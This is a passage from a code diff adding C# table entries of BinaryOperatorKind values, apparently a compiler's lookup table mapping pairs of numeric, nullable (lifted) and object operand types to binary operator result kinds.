BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.UInt, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.UInt, + BinaryOperatorKind.UInt, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Long, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Long, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Bool | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Bool | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, 